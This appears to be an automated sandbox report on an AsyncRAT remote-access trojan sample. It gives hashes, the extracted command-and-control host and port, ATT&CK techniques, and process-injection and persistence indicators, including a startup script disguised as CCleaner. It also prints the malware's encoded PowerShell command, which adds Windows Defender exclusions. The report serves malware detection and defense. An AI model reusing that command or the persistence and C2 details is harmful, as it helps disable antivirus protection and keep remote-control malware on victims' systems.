asyncrat | 755b9c9ed15a3d43f8da5ddd62146897091f4f0aa301917167d26f368d88a4a7

Analysis

max time kernel
138s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
10-08-2024 00:10

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General

Target

crvzekdg.exe
Size

606KB
MD5

c5d9ef29294adc4a239a8ad7a2904ef8
SHA1

8b27f6fbd5de811b4b1e7302935dae023b4d440d
SHA256

755b9c9ed15a3d43f8da5ddd62146897091f4f0aa301917167d26f368d88a4a7
SHA512

8d08dc3148b40dd5fec5be0159720570d4e3ee1f67a93bb86443d2b7aecd1a39cb87bd06cc62d060939df3dcba030e38174e91bdcb3c7613f675ecd8d0173360
SSDEEP

12288:FWRkF0fzR56l9djNaYRvudsKnJpwK2tEYvGEtg4pUa:FWR96lAYRvWspt2a

Score

10^/10

asyncrat clean discovery rat

Malware Config

Extracted

Family

asyncrat

Version

| Edit 3LOSH RAT

Botnet

CLEAN

amm.mine.nu:1339

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	crvzekdg.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\CCleaner.vbs	crvzekdg.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3964 set thread context of 1568	3964	crvzekdg.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	crvzekdg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4428	powershell.exe
4428	powershell.exe
1568	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3964	crvzekdg.exe
Token: SeDebugPrivilege	3964	crvzekdg.exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeDebugPrivilege	1568	InstallUtil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1568	InstallUtil.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 4428	3964	crvzekdg.exe	90
PID 3964 wrote to memory of 4428	3964	crvzekdg.exe	90
PID 3964 wrote to memory of 4428	3964	crvzekdg.exe	90
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92
PID 3964 wrote to memory of 1568	3964	crvzekdg.exe	92

C:\Users\Admin\AppData\Local\Temp\crvzekdg.exe
"C:\Users\Admin\AppData\Local\Temp\crvzekdg.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYwByAHYAegBlAGsAZABnAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABjAHIAdgB6AGUAawBkAGcALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAEMAQwBsAGUAYQBuAGUAcgAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwBDAGwAZQBhAG4AZQByAC4AZQB4AGUA
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4428
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w3pjxlwz.fu2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1568-4900-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1568-4904-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/1568-4942-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/1568-4948-0x00000000050B0000-0x00000000050BA000-memory.dmp

Filesize
40KB

Download
memory/1568-4956-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/1568-4955-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/1568-4953-0x00000000060F0000-0x000000000618C000-memory.dmp

Filesize
624KB

Download
memory/3964-61-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-34-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-5-0x0000000007410000-0x00000000074A2000-memory.dmp

Filesize
584KB

Download
memory/3964-53-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-15-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-51-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-41-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-49-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-47-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-45-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-43-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-39-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-37-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-35-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-31-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-29-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-25-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-23-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-27-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-21-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-19-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-13-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-11-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-9-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-7-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-6-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-63-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-69-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-67-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-65-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-3-0x0000000007050000-0x0000000007272000-memory.dmp

Filesize
2.1MB

Download
memory/3964-59-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-57-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-55-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-17-0x0000000007050000-0x000000000726D000-memory.dmp

Filesize
2.1MB

Download
memory/3964-4892-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/3964-4-0x0000000007820000-0x0000000007DC4000-memory.dmp

Filesize
5.6MB

Download
memory/3964-4894-0x00000000054A0000-0x00000000054EC000-memory.dmp

Filesize
304KB

Download
memory/3964-4893-0x00000000053B0000-0x000000000540E000-memory.dmp

Filesize
376KB

Download
memory/3964-4895-0x0000000005880000-0x00000000058D4000-memory.dmp

Filesize
336KB

Download
memory/3964-4903-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/3964-0-0x0000000074ABE000-0x0000000074ABF000-memory.dmp

Filesize
4KB

Download
memory/3964-1-0x00000000000C0000-0x000000000015E000-memory.dmp

Filesize
632KB

Download
memory/3964-2-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/4428-4906-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/4428-4933-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/4428-4905-0x0000000004D90000-0x00000000053B8000-memory.dmp

Filesize
6.2MB

Download
memory/4428-4917-0x00000000055D0000-0x0000000005636000-memory.dmp

Filesize
408KB

Download
memory/4428-4919-0x00000000056B0000-0x0000000005A04000-memory.dmp

Filesize
3.3MB

Download
memory/4428-4920-0x0000000005B30000-0x0000000005B4E000-memory.dmp

Filesize
120KB

Download
memory/4428-4921-0x0000000005DF0000-0x0000000005E3C000-memory.dmp

Filesize
304KB

Download
memory/4428-4923-0x0000000070970000-0x00000000709BC000-memory.dmp

Filesize
304KB

Download
memory/4428-4922-0x0000000006B00000-0x0000000006B32000-memory.dmp

Filesize
200KB

Download
memory/4428-4934-0x0000000006100000-0x000000000611E000-memory.dmp

Filesize
120KB

Download
memory/4428-4935-0x0000000006B40000-0x0000000006BE3000-memory.dmp

Filesize
652KB

Download
memory/4428-4901-0x0000000002550000-0x0000000002586000-memory.dmp

Filesize
216KB

Download
memory/4428-4918-0x0000000005640000-0x00000000056A6000-memory.dmp

Filesize
408KB

Download
memory/4428-4916-0x0000000005530000-0x0000000005552000-memory.dmp

Filesize
136KB

Download
memory/4428-4946-0x00000000071A0000-0x00000000071BA000-memory.dmp

Filesize
104KB

Download
memory/4428-4938-0x00000000074B0000-0x0000000007B2A000-memory.dmp

Filesize
6.5MB

Download
memory/4428-4940-0x0000000006ED0000-0x0000000006EDA000-memory.dmp

Filesize
40KB

Download
memory/4428-4937-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/4428-4943-0x0000000007060000-0x0000000007071000-memory.dmp

Filesize
68KB

Download
memory/4428-4944-0x0000000007090000-0x000000000709E000-memory.dmp

Filesize
56KB

Download
memory/4428-4945-0x00000000070A0000-0x00000000070B4000-memory.dmp

Filesize
80KB

Download
memory/4428-4939-0x0000000006E60000-0x0000000006E7A000-memory.dmp

Filesize
104KB

Download
memory/4428-4947-0x0000000007180000-0x0000000007188000-memory.dmp

Filesize
32KB

Download
memory/4428-4954-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/4428-4936-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/4428-4902-0x0000000074AB0000-0x0000000075260000-memory.dmp

Filesize
7.7MB

Download
memory/4428-4941-0x00000000070E0000-0x0000000007176000-memory.dmp

Filesize
600KB

Download